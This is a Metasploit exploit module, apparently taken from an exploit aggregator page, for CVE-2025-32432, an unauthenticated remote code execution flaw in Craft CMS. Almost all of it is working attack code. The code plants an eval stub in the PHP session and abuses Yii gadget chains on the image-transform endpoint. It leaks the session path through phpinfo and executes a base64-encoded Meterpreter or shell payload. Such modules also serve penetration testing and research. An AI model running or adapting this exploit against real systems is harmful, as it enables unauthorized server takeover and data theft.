## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-CRAFTCMS_PREAUTH_RCE_CVE_2025_32432-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Payload::Php
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
},
'Author' => [
'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2025-32432' ],
[ 'EDB', '52525' ],
[ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
[ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %(unix linux),
'Arch' => ARCH_CMD
}
],
],
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2025-04-14',
'DefaultTarget' => 0
)
)
register_options([
OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
])
end
def execute_via_session(payload)
session_id, csrf, param_name = fetch_cookies_and_csrf
return nil unless csrf
vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")
session_dir = @session_path || '/var/lib/php/sessions'
session_file = normalize_uri(session_dir, "sess_#{session_id}")
body = {
assetId: datastore['ASSET_ID'],
handle: {
width: Rex::Text.rand_text_numeric(1..5),
height: Rex::Text.rand_text_numeric(1..5),
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
class: 'craft\\behaviors\\FieldLayoutBehavior',
__class: 'yii\\rbac\\PhpManager',
'__construct()' => [
{ itemFile: session_file }
]
}
}
}.to_json
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'p' => 'actions/assets/generate-transform',
param_name => payload
},
'headers' => { 'X-CSRF-Token' => csrf },
'ctype' => 'application/json',
'data' => body,
'keep_cookies' => true
)
end
def fetch_cookies_and_csrf
param_name = Rex::Text.rand_text_alphanumeric(5..12)
static_stub = "<?=eval($_GET['#{param_name}']);die()?>"
params = {
'p' => 'admin/dashboard',
param_name => static_stub
}
cookie_jar.clear
res = send_request_cgi(
'method' => 'GET',
'uri_encode_mode' => 'none',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => params
)
return nil unless res
session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
return nil if session_id.to_s.empty?
if res.code == 302 && res.headers['Location']
res = send_request_cgi(
'method' => 'GET',
'uri' => res.headers['Location'],
'keep_cookies' => true
)
end
csrf = extract_csrf_token(res)
return nil unless csrf
[session_id, csrf, param_name]
end
def extract_csrf_token(res)
doc = res.get_html_document
token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
return token unless token.to_s.empty?
vprint_status('CSRF not found in dashboard, falling back to root')
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
)
res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
end
def leak_session_path(csrf)
res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
return nil unless res&.body
doc = res.get_html_document
path = doc.at_xpath(
"//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
)&.text
path ||= doc.at_xpath(
"//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
)&.text
path&.strip
end
def send_transform(csrf, asset_id, php_string)
json_data = {
'assetId' => asset_id,
'handle' => {
'width' => Rex::Text.rand_text_numeric(1..5),
'height' => Rex::Text.rand_text_numeric(1..5),
"as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => php_string
}
}
}.to_json
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
'ctype' => 'application/json',
'headers' => { 'X-CSRF-Token' => csrf },
'data' => json_data
)
end
def check
_, csrf, = fetch_cookies_and_csrf
return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf
if (path = leak_session_path(csrf))
@session_path = path
print_good("Leaked session.save_path: #{@session_path}")
return CheckCode::Vulnerable('Session path leaked')
end
a = Rex::Text.rand_text_numeric(4).to_i
b = Rex::Text.rand_text_numeric(4).to_i
expr = "#{a}+#{b}"
sum = a + b
print_status("Checking RCE: #{expr}")
payload = "print_r(#{expr});"
res = execute_via_session(payload)
return CheckCode::Unknown('No response') unless res
if res.body.include?(sum.to_s)
CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
else
CheckCode::Safe('Unable to exercise code execution.')
end
end
def exploit
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64 = Rex::Text.encode_base64(raw)
payload_code = "eval(base64_decode('#{b64}'));"
print_status('Injecting stub & triggering payload...')
execute_via_session(payload_code)
end
end